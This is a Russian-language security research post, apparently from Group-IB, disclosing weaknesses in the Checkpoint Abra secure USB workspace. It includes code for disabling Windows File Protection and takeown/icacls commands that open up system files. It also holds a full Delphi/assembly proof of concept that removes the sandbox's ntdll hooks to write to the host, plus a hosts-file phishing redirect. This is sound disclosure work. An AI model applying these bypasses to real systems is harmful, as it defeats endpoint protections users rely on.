Checkpoint Abra — бреши в «доверенных» флэшках

в 13:45, , рубрики: Блог компании «Group-IB», дбо, информационная безопасность, уязвимость, метки: , , ,

На рынке ИБ появляются все новые и новые средства защиты конечного клиента (ДБО, ERP/SAP и так далее). Кроме ценовой политики, совсем немногие из нас сталкивались с анализом эффективности защиты, которую они могут реально обеспечить.

Group-IB - уязвимость в Checkpoint Abra

Специалистами компании Group-IB было проведено исследование по анализу возможных брешей продукта Checkpoint Abra, который представляет из себя специально сконфигурированный отделяемый носитель, позволяющий организовать защищенное виртуальное рабочее место на любом компьютере, к которому он подключается.

Вступление

Заявленные технические характеристики устройства позволяют обеспечить изолированную программную среду в контексте работы в ОС, запуская специальную виртуальную защищенную среду с предустановленными приложениями. Все хранимые данные, которые записываются в ее дисковое окружение, шифруются.

По сути, решение направлено на защиту мобильного клиента, который может работать с недоверенных ПК, Интернет-кафе (если ему позволит установить отделяемый носитель) и других злачных мест.

Правила контроля запускаемых приложений находятся в специальных файлах, описывающих «whitelisting»:

F:PWCdatasandbox-persistence.ref
F:PWCdataswspogo.xml
F:PWCdataISWPolicy.xml
F:PWCdataics_policy.xml

Любое приложение не из белого списка нельзя будет выполнить при работе в защищенном сеансе.

Checkpoint Abra — бреши в «доверенных» флэшках
Рис. 1 — Окно с сообщением о блокировке попытки запуска стороннего приложения, отсутствующего в списке разрешенных

Обнаруженные уязвимости

1. Запуск сторонних программ в защищенном сеансе

В рамках сеанса разрешено запускать только предустановленные программы Internet Explorer, Notepad, Calculator, Office, Remote Desktop Connection (+ Portable Apps) и пользоваться системными утилитами хостовой машины, которые четко указаны в файле конфигурации «F:PWCdatasandbox-persistence.ref».

<Execute OriginalName="calc.exe" PathName="calc.exe" AppName="Microsoft Calculator" UIDescription="Microsoft Calculator" id="134"/>

Checkpoint Abra — бреши в «доверенных» флэшках
Рис. 2 — Содержимое файла политики контроля запуска приложений

Контроль приложений сеанса проверяет запускаемые приложения только по путям-именам файлов, а так же записям VersionInfo в файле. Это означает, что можно импортировать произвольное приложение и запустить его в обход фильтров. Это реализуется изменением имени файла и его поля OriginalFileName секции VersionInfo на любое из белого списка. Более того, возможно подменить произвольный пользовательский исполняемый файл на хостовой ОС (например, архиватор WinRar) без какого-либо импорта внутрь защищенного сеанса и этот файл автоматически будет исполнятся в защищенном сеансе (запускаясь по соответствиям расширений, либо из меню «пуск»).

Подменить так же можно и предустановленные приложения из сеансового меню «Пуск» (Internet Explorer, Notepad, Calculator), отключение защиты файлов производится на хостовой ОС, необходимы права администратора. Подмена системных файлов может быть реализована после отключения защиты файлов Windows File Protection с помощью вызова пятой по ординалу экспортируемой системным файлом sfc_os.dll функции (windows xp).

Пример кода:

hInst := LoadLibrary('sfc_os.dll');
proc := GetProcAddress(hInst, ordinal 5);
filename := 'c:windowssystem32calc.exe';
asm
push -1
push filename
push 0
call proc
end

Либо с помощью модификации прав на файл (Vista и выше):

takeown /f <имя_файла>
icacls <имя_файла> /grant %username%:F
icacls <имя_файла> /grant *S-1-1-0:(F)

Например, после запуска в защищенном сеансе калькулятора, произойдет запуск на исполнение из системной папки файла вида C:WindowsSystem32calc.exe (либо C:WindowsSysWOW64calc.exe, если защищенный сеанс исполняется на 64-битной платформе) в отдельном проводнике.

Checkpoint Abra — бреши в «доверенных» флэшках
Рис. 3 — Успешное проведение атаки подмены программы по умолчанию (калькулятор) на OllyDbg

2. Анализ предустановленных приложений

В комплектах инсталлируемых portable-приложений используются заранее подготовленные дистрибутивы продуктов, не всегда последних версий и не всегда обновляемые. Например, FileZilla server 2006 года версии 2.2.26a (последняя сборка на официальном сайте версии 3.5.3 2012).

Checkpoint Abra — бреши в «доверенных» флэшках
Рис. 4 — Неактульные версии предустановленных приложений

3. Анализ структуры процессов и загрузчика защищенного сеанса

Во время работы защищенного сеанса создается отдельная группа процессов.

Checkpoint Abra — бреши в «доверенных» флэшках
Рис. 5 — XXXX

Исполняемые файлы и библиотеки продукта представлены в 2 сборках: 32 и 64-битной. Несмотря на это, на 64-битных системах запускаются все равно несколько 32-битных модулей, находящихся в папке F:GoPWCWoW64. Второй экземпляр процесса ISWMGR.exe запускает процесс проводника explorer.exe, который является родителем всех открываемых в защищенном сеансе внешних утилит и импортированных программ.

Checkpoint Abra — бреши в «доверенных» флэшках
Рис. 6 — XXXX

Запуская импортированные файлы внутри защищенного сеанса они запускаются отдельным приложением-загрузчиком F:PWCWOW64ISWLDR.dat (Рис. 8, для системных утилит подгрузка библиотеки осуществляется без запуска загрузчиком). Он в свою очередь подгружает библиотеку ISWUL.dll, вызывая функцию InitHook для установки перехватов (Рис. 9, Рис. 10). Устанавливаются перехваты вызова функций для работы с файлами, реестром, буфером обмена, криптографией и т.д.

Checkpoint Abra — бреши в «доверенных» флэшках
Рис. 7 — Окно отладки загрузчика ISWLDR.dat (программное средство отладки было запущено внутри защищенного сеанса в обход средства контроля запуска приложений)

Checkpoint Abra — бреши в «доверенных» флэшках
Рис. 8 — Код оригинальной функции LoadLibraryExW в памяти приложения, запускаемого загрузчиком Abra

Checkpoint Abra — бреши в «доверенных» флэшках
Рис. 9 — Код функции LoadLibraryExW в памяти приложения, запущенного загрузчиком Abra (с установленным им перехватчиком по виртуальному адресу 765A2097)

Дизассемблерный листинг кода установки перехватов функций на примере фильтра буфера обмена. Техника реализуется методом сплайсинга функций работы с буфером обмена SetClipboardData. GetClipboardData, OpenClipboard, EmptyClipboard, CloseClipboard и установкой собственных callback-обработчиков:

HANDLE (__stdcall *__cdecl GetAddrOf_SetClipboardData())(UINT, HANDLE)
{
  HANDLE (__stdcall *result)(UINT, HANDLE); // eax@1

  result = SetClipboardData;
  addr_SetClipboardData = SetClipboardData;
  return result;
}

int __cdecl hooks_Clipboard()
{
  int v0; // eax@1
  int v1; // eax@3
  int v2; // eax@5
  int v3; // eax@7
  int result; // eax@9

  v0 = splice_func(addr_SetClipboardData, callback_SetClipboardData);
  if ( v0 )
    addr_SetClipboardData = v0;
  v1 = splice_func(addr_GetClipboardData, callback_GetClipboardData);
  if ( v1 )
    addr_GetClipboardData = v1;
  v2 = splice_func(addr_OpenClipboard, callback_OpenClipboard);
  if ( v2 )
    addr_OpenClipboard = v2;
  v3 = splice_func(addr_EmptyClipboard, callback_EmptyClipboard);
  if ( v3 )
    addr_EmptyClipboard = v3;
  result = splice_func(addr_CloseClipboard, callback_CloseClipboard);
  if ( result )
    addr_CloseClipboard = result;
  return result;
}

Существует возможность обхода функций-перехватчиков методом их отключения (восстановления кода функций до их модификации) — прямым чтением файлов из системной папки (для использования техники системные файлы перед чтением необходимо скопировать во временную папку и установить структурный обработчик исключений), например ntdll.dll, чтение первых 10-15 байт функции из файла и перезаписи считанным буфером пролога соответствующей функции в памяти (на которой расположен прыжок на функцию-перехватчик, например ZwLoadDriver). Техника, например, может позволить вносить изменения в файлыреестр из защищенного сеанса напрямую в хостовой систему.

Пример кода, реализующего технику сброса перехватов восстановлением оригинального кода системных библиотек в памяти:

unit notepad;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, ShlObj;
type
  TForm1 = class(TForm)
    Memo1: TMemo;
    BitBtn1: TBitBtn;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
  Dst: array[1..12] of byte;
implementation
{$R *.dfm}
function GetSpecialPath(CSIDL: word): string;
 var s: string;
begin
  SetLength(s, MAX_PATH);
   if not SHGetSpecialFolderPath(0, PChar(s), CSIDL, true)
     then s := GetSpecialPath(CSIDL_APPDATA);
   result := PChar(s);
end;
procedure memcpy;
asm
   push    ebp
   mov     ebp, esp
   push    ebx
   push    esi
   push    edi
   cmp     [ebp+8], 0
   jz      @loc_416538
   cmp     [ebp+$0C], 0
   jz      @loc_416538
   cmp     [ebp+$10], 0
   jg      @loc_41653C
@loc_416538:
   xor     eax, eax
   jmp     @loc_41654B
@loc_41653C:
   pusha
   mov     esi, [ebp+$0C]
   mov     edi, [ebp+$08]
   mov     ecx, [ebp+$10]
   rep movsb
   popa
   xor     eax, eax
@loc_41654B:
   pop     edi
   pop     esi
   pop     ebx
   pop     ebp
   retn
end;
procedure resolve_APIs_from_dll_images(mapped_ntdll_base: pointer; dllname: string);
var
var_4, var_8, var_10, var_20, var_24, var_2C, var_28, var_3C, var_1C, dllbase, Src, old: DWORD;
begin
asm
  pushad
   mov     eax, [mapped_ntdll_base]
   mov     ecx, [eax+3Ch]
   mov     edx, [mapped_ntdll_base]
   lea     eax, [edx+ecx+18h]
   mov     [var_10], eax
   mov     ecx, [var_10]
   mov     edx, [mapped_ntdll_base]
   add     edx, [ecx+60h]
   mov     [var_4], edx
   mov     eax, [var_4]
   mov     ecx, [mapped_ntdll_base]
   add     ecx, [eax+1Ch]
   mov     [var_8], ecx
   mov     ecx, [var_4]
   mov     edx, [mapped_ntdll_base]
   add     edx, [ecx+20h]
   mov     [var_20], edx
   mov     eax, [var_4]
   mov     ecx, [mapped_ntdll_base]
   add     ecx, [eax+24h]
   mov     [var_2C], ec
   push    dllname
   call    LoadLibrary
   mov     [var_28], eax
   cmp     [var_28], 0
   jne     @loc_41D111
   jmp     @ending
@loc_41D111:
   mov     [var_24], 0
   jmp     @loc_41D135
@loc_41D11A:
   mov     eax, [var_24]
   add     eax, 1
   mov     [var_24], eax
   mov     ecx, [var_20]
   add     ecx, 4
   mov     [var_20], ecx
   mov     edx, [var_2C]
   add     edx, 2
   mov     [var_2C], edx
@loc_41D135:
   mov     eax, [var_4]
   mov     ecx, [var_24]
   cmp     ecx, [eax+18h]
   jnb     @ending
   mov     ecx, [var_24]
   mov     edx, [var_20]
   mov     eax, [mapped_ntdll_base]
   add     eax, [edx]
   mov     ecx, [var_24]
   mov     edx, [var_8]
   mov     eax, [var_28]
   add     eax, [edx+ecx*4]
   mov     [var_3C], eax
   mov     ecx, [var_24]
   mov     edx, [var_8]
   mov     eax, [mapped_ntdll_base]
   add     eax, [edx+ecx*4]
   mov     [Src], eax
   push    0Ah
   mov     ecx, [Src]
   push    ecx
   lea     edx, [Dst]
   push    edx
   call    memcpy
   add     esp, 0Ch
   lea     eax, [old]
   push    eax
   push    PAGE_EXECUTE_READWRITE
   push    $0A
   mov     eax, [var_3C]
   push    eax
   call    VirtualProtect
   push    0Ah
   lea     ecx, [Dst]
   push    ecx
   mov     eax, [var_3C]
   push    eax
   call    memcpy
   add     esp, 0Ch
   jmp     @loc_41D11A
@ending:
  popad
end;
end;
function UnHook(dllname: string): boolean;
var
 size: DWORD;
 MapHandle: THandle;
 FileHandle: THandle;
 dll, filename: string;
 LogFileStartOffset: pointer;
Begin
 dll := SystemDir + '' + dllname;
 filename := GetSpecialPath(CSIDL_APPDATA) + '' + dllname;
 result := CopyFile(PChar(dll), PChar(filename), false);
 if result then
 begin
 FileHandle := CreateFile(pChar(filename), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
 If FileHandle <> INVALID_HANDLE_VALUE then
  Try
   MapHandle := CreateFileMapping(FileHandle, nil, $1000002, 0, 0, nil);
   If MapHandle <> 0 then
    Try
     LogFileStartOffset := MapViewOfFile(MapHandle, FILE_MAP_READ, 0, 0, 0);
     If LogFileStartOffset <> nil then
      Try
        size := GetFileSize(FileHandle, nil);
        resolve_APIs_from_dll_images(LogFileStartOffset, dllname);
      Finally
       UnmapViewOfFile(LogFileStartOffset);
      End;
    Finally
//     CloseHandle(MapHandle);
    End;
   Finally
//    CloseHandle(FileHandle);
   End;
 DeleteFile(filename);
 end;
End;
procedure write2file(filename, s: string);
var
f: textfile;
begin
  assignfile(f, filename);
  rewrite(f);
  writeln(f, s);
  closefile(f);
end;
procedure TForm1.FormCreate(Sender: TObject);
var
a: PChar;
begin
a := 'ntdll.dll';
UnHook(a);
write2file('c:usersAdministratorDesktopPOC.txt', 'Now we writing to host OS');
end;

ABRA GO не позволяет запускать внутри защищенного сеанса соединения RDP, vnc-клиент, либо vnc-сервер. На примере клиента RFB-протокола TightVNC, используя метод обхода контроля приложений есть возможность запустить клиент и сервер VNC, но в случае запуска серверной утилиты соединения и просмотра рабочего стола защищенного соединения не происходит.

В случае запуска клиентской утилиты происходит соединение и просмотр рабочего стола хостовой ОС (при подключении к адресу 127.0.0.1:5900), но возможности управлять рабочим столом — нет (как и просмотра-управления папками защищенного сеанса).

Реализация фишинг-атаки

Возможна реализация фишинг-атаки путем модификации файла etchosts хостовой системы, все изменения в котором автоматически применяются и для защищенного сеанса.

Checkpoint Abra — бреши в «доверенных» флэшках
Рис. 10 — Удачно проведение фишинг-атаки: при попытке открыть ресурс habrahabr.ru открылся другой — страница поисковика yandex.ru

Итоги

Использование средств защиты информации, в том числе современных, должно основываться на объективной оценке их возможностей. Отдельное внимание заслуживают клиенты систем ДБО, которые по совету банков стремятся использовать различные системы защиты. Использование специальных аппаратных средств позволяет повысить защищенности клиента, но далеко не отсечь все потенциальные риски.

Автор: skvz

* - обязательные к заполнению поля